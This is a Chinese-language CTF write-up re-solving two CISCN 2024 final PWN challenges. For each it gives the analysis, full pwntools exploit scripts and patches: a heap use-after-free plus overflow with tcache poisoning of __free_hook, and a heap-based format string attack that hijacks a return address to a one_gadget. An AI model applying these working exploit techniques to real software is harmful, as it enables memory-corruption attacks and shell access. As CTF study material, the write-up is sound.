CISCN Final 2024
国赛决赛PWN赛后复现:
- ezheap: 入门堆题,存在 UAF 和任意大小溢出
- anime: 非栈上的格式化字符串漏洞
ezheap
程序分析
程序环境为 2.31
,二进制保护全开:
$ checksec ./ezheap
[*] '/home/cameudis/ctf/ciscn2024-final/ezheap/ezheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
程序在读入用户输入后,马上就进行了神秘的解析操作。遇到这种情况,我们有以下解决方案:
- 盲猜是 JSON,或根据解析函数中的一些硬编码的字符发现是 JSON(比如
'{'
) - 求助具有丰富逆向经验的队友,发现使用了 cJSON 库
- 使用提前准备的签名进行匹配,如下图所示:
关于 Binary Ninja 如何制作与匹配二进制签名,可以参考 官方文档。
除了神秘的解析之外,本题就是一个入门级菜单堆题。漏洞点有两个:
- Delete 函数中存在 dangling pointer(指针未清零);
- Modify 函数中存在任意大小溢出;
利用思路
由于 new 函数中对堆块大小做了 0x400 的限制,且一共只能分配 7 个堆块,因此如果想要泄露 libc 地址,需要通过溢出把堆块 size 改大,来把堆块 free 进 unsorted bin 中。
在此以后,直接 view 还拿不到 libc 地址。由于 cJSON 的实现,在解析用户的指令时,它会申请一系列的堆块。由于刚刚释放进 unsorted bin 的堆块足够大,所以它会被切割数次,导致原来位置上不再是一个指向 unsorted bin 的指针。
但这种情况也很好解决,堆上还有很多遗留的地址,可以先 edit 然后顺带把地址给读出来。(感谢 V3rdant 师傅)
之后就是使用 tcache poisoning 来将 __free_hook
劫持为 system
,然后执行 free("/bin/sh")
来拿到 shell 了。
Exploit Script
#!/usr/bin/python3
from pwn import *
import sys
context.terminal = ['tmux', 'splitw', '-h']
# ---------------- Environment Config ---------------- #
filename = "./pwn"
libc_name = "./libc.so.6"
elf = ELF(filename)
libc = ELF(libc_name)
context.log_level = 'info'
context.binary = filename
# ------------------- Exploitation ------------------- #
ru = lambda a: io.recvuntil(a)
r = lambda : io.recv()
sla = lambda a,b: io.sendlineafter(a,b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
s = lambda a: io.send(a)
# {"choice":"add","index":0,"length":16,"message":"aaa"}
def comm(choice, index, length, message):
ru(b"Please input:")
s(f'{"choice":"{choice}","index":{index},"length":{length},"message":"'.encode()+message+'"}\n'.encode())
def add(length, message):
comm("new", 0, length, message)
def delete(index):
comm("rm", index, 0, b"a")
def view(index):
comm("view", index, 0, b"a")
def edit(index, length, message):
comm("modify", index, length, message)
def pwn():
add(0x40, b'im_block_0')
add(0x40, b'im_block_1')
# overflow block_1's size to 0x531 (thus next_chunk is top chunk)
edit(0, 0x2a0, b'A'*0x298 + b'\x31\x05')
# unsorted bin
delete(1)
# leak libc address
edit(1, 0xa8, b'a'*0xa8)
view(1)
ru(b'a'*0xa8)
libc_base = u64(ru(b'\n')[:-1].ljust(8, b'\0'))-0x1ecbe0
log.info(f'libc_base: {hex(libc_base)}')
# tcache poisoning
add(0x40, b'im_block_2')
add(0x90, b'im_block_3')
add(0x90, b'im_block_4')
delete(4)
delete(3)
edit(2, 0x2a8, b'a'*0x2a0 + pack(libc_base+libc.sym["__free_hook"])[:6])
add(0x90, b'/bin/sh')
add(0x90, pack(libc_base+libc.sym["system"])[:6])
delete(5)
io.interactive()
# ------------------ Infrastructure ------------------ #
gdbscript = '''
'''
if __name__ == "__main__":
print("[*] Cameudis's PWN Framework")
if len(sys.argv) == 1:
io = gdb.debug(filename, gdbscript=gdbscript, exe=filename)
elif sys.argv[1] == "d":
io = process(filename)
elif sys.argv[1] == "r":
io = remote(ip, port)
else:
print("Usage: ./exp.py [d | r]")
print("\td for direct without debug")
print("\tr for remote")
exit()
pwn()
Patch
由于出题人的检验脚本非常恶心,所以本题修复难度非常大。我和队友尝试了非常多种方法后,最后发现把 malloc
的参数硬编码为 0x1000
就可以通过检测。
anime
程序分析
程序环境为 GLIBC 2.31
,二进制保护全开:
$ checksec ./pwn
[*] '/home/cameudis/ctf/ciscn2024-final/anime/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
在 main
函数中,程序读取用户输入,并使用硬编码的 key 对输入进行 AES 解密。解密后的消息将会直接被使用 printf
打印出来,存在格式化字符串漏洞。程序会循环执行上述过程三次,然后从 main
函数返回。
本题的利用难点在于:存储用户输入的缓冲区位于堆上,且限制了我们只有三次攻击机会。
利用思路
关于非栈上的格式化字符串,可以先去找找别的资料看。
3 次机会一定是不足以打穿非栈的格式化字符串溢出的,必须想办法进行更多次攻击。在程序中,我们可以发现表示剩余次数的循环变量 i
保存在栈上,因此一开始仅有的这三次机会可以用来进行 i
的劫持。
- 泄漏栈地址、Libc 基址;
- 劫持一个栈上的栈指针,使其指向
i
; - 劫持
i
为一个更大的数。
sa(b'3 times', aes128_encrypt(b'.%6$p.%15$p.\0', key))
...
ru(b'.')
stack_base = int(ru(b'.')[:-1].decode(), 16)
success("stack_base: "+hex(stack_base))
i_addr = stack_base-0x124
success("i: "+hex(i_addr))
...
sa(b'2 times', aes128_encrypt(f'%{i_addr&0xFFFF}c%6$hn\0'.encode(), key))
sa(b'1 times', aes128_encrypt(f'%5c%45$hn\0'.encode(), key))
在此之后就是常规的攻击了。我选择将栈上的返回地址劫持为 libc 中的 one_gadget。
Exploit Script
我使用 Cryptodomex
库进行 AES 加密。如果有安装 Cryptodome
库,也可以直接将脚本中所有 Cryptodome
直接替换为 Crypto
。
#!/usr/bin/python3
from pwn import *
import sys
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import *
context.terminal = ['tmux', 'splitw', '-h']
# ---------------- Environment Config ---------------- #
context.log_level = 'info'
context.arch = 'amd64'
libc_name = "./libc.so.6"
filename = "./pwn"
libc = ELF(libc_name)
elf = ELF(filename)
# ------------------- Exploitation ------------------- #
ru = lambda a: io.recvuntil(a)
r = lambda: io.recv()
sla = lambda a,b: io.sendlineafter(a,b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
s = lambda a: io.send(a)
key = bytes([0x7b,0xf3,0x5c,0xd6,0x9c,0x47,0x5d,0x5e,0x6f,0x1d,0x7a,0x23,0x18,0x7b,0xf9,0x34])
def aes128_encrypt(data, key):
cipher = AES.new(key, AES.MODE_ECB)
return cipher.encrypt(pad(data, AES.block_size))
def aes128_decrypt(enc, key):
cipher = AES.new(key, AES.MODE_ECB)
return unpad(cipher.decrypt(enc[AES.block_size:]), AES.block_size)
def pwn():
sa(b'name', b'******')
sa(b'3 times', aes128_encrypt(b'.%6$p.%15$p.\0', key))
ru(b'.')
stack_base = int(ru(b'.')[:-1].decode(), 16)
success("stack_base: "+hex(stack_base))
i_addr = stack_base-0x124
success("i: "+hex(i_addr))
return_addr = i_addr+0x34
success("return_addr: "+hex(return_addr))
libc_base = int(ru(b'.')[:-1].decode(), 16)-0x24083
success("libc_base: "+hex(libc_base))
sa(b'2 times', aes128_encrypt(f'%{i_addr&0xFFFF}c%6$hn\0'.encode(), key))
sa(b'1 times', aes128_encrypt(f'%5c%45$hn\0'.encode(), key))
one_gadget = libc_base + 0xe3b01
print(f'[*] write {hex(one_gadget&0xFFFF)} to {hex(return_addr&0xFFFF)}')
sa(b'4 times', aes128_encrypt(f'%{return_addr&0xFFFF}c%6$hn\0'.encode(), key))
sa(b'3 times', aes128_encrypt(f'%{one_gadget&0xFFFF}c%45$hn\0'.encode(), key))
print(f'[*] write {hex((one_gadget>>16)&0xFFFF)} to {hex((return_addr+2)&0xFFFF)}')
sa(b'2 times', aes128_encrypt(f'%{(return_addr+2)&0xFFFF}c%6$hn\0'.encode(), key))
sa(b'1 times', aes128_encrypt(f'%{(one_gadget>>16)&0xFFFF}c%45$hn\0'.encode(), key))
ru(b'too!\n')
io.interactive()
# ------------------ Infrastructure ------------------ #
def debug():
g = gdb.attach(io, """
# set debug-file-directory ~/gaio/libs/2.29-0ubuntu2_amd64/.debug/
b *$rebase(0x1600)
b *$rebase(0x15cb)
""")
# pause()
if __name__ == "__main__":
if len(sys.argv) == 1:
io = process(filename)
elif sys.argv[1] == "d":
io = process(filename)
debug()
elif sys.argv[1] == "r":
io = remote(ip, port)
else:
print("Usage: ./exp.py [d | r]")
print("\td for debug")
print("\tr for remote")
exit()
pwn()
Patch
最简单的方式是直接把 printf
直接改成 puts
。
我们比赛时 patch 的方法是跳转到 .eh_frame
段的代码中,执行 printf("%s", buf)
。
- CISCN Final 2024
- BlackHatMEA 2023 House of Minho
- VNCTF 2024 escape_langlang_mountain2
- HITCTF 2023 xv6-Trusted
- TAMUctf 2023 Pwnme - linked ROP chain
- UTCTF 2023 Bing Chilling